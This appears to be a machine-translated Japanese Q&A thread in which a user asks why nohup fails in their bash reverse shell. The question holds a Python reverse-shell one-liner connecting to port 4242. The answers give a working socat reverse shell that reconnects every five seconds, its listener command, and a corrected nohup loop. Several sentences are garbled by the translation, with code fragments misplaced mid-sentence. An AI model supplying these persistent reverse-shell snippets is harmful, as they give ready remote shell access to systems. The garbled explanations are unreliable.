小さなbashリバースシェルを作成しようとしていますが、残念ながら私の引数は正しく解析されません。特に、whileループが期待どおりに実行されている間、nohupコマンドは無視されます。なぜこれが起こるのですか?
nohup "$(while :; do python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'; sleep 5; done)" >/dev/null 2>&1 &
答え1
socat
すべてを1行に入れないと、使いやすく読みやすいです。
nohup sh -c '
while true; do
socat tcp:localhost:4242 exec:/bin/sh,pty,stderr,setsid,ctty
sleep 5
done'
ランニング:
socat tcp-listen:4242,reuseaddr -,raw,echo=0
5秒以内に他の端末にシェルプロンプトが表示されます。
名前/パスは無限ループの出力ですが、whileループが返された後にのみコマンドを実行するように要求することはnohup "$(while...)"
意味がありません。nohup
答え2
nohup
走る結果実行コード$( … )
。
説明すると...
次の状況を考えてみましょう。
a=$(date)
このコマンドは* 1date
などの出力を実行して生成します。テキストが行に挿入され、次のような結果が発生します。Thu, 25 Jan 2024 23:20:48
a='Thu, 25 Jan 2024 23:20:48'
次に割り当てを実行します。
今これを考慮してください:
a=$(echo hello; sleep 300; echo world)
内部でコマンドを実行すると$( … )
結果が出ますが、hello {newline} world
5分かかります。ミッションはまだ始まっていません。最後に、我々は次のような結果を得る。
a='hello
world'
そして割り当てを行うことができます。
それでは、これをあなたの状況に適用してみましょう。
nohup "$(while :; do python3 …; done)" >/dev/null 2>&1
まず、$( … )
内部のコードを実行してみてください。残念ながら、それは決して終わりません。ここで終わったら結果その後、コードを実行するための情報がに渡されますnohup
。ただし、終了しないためnohup
実行されません。
この試み:
nohup sh -c "while :; do python3 'import…'; done" >/dev/null 2>&1 &
\"
Pythonコードで使用される二重引用符は、シェル(sh
)が開始に関連付けられないようにエスケープする必要があります"
。
1*実際にdate
改行文字で終わる値を返します。ただし、シェルは補間時に末尾の改行が好きでsh
削除されますbash
。なぜならこれが(通常)予想されるからです。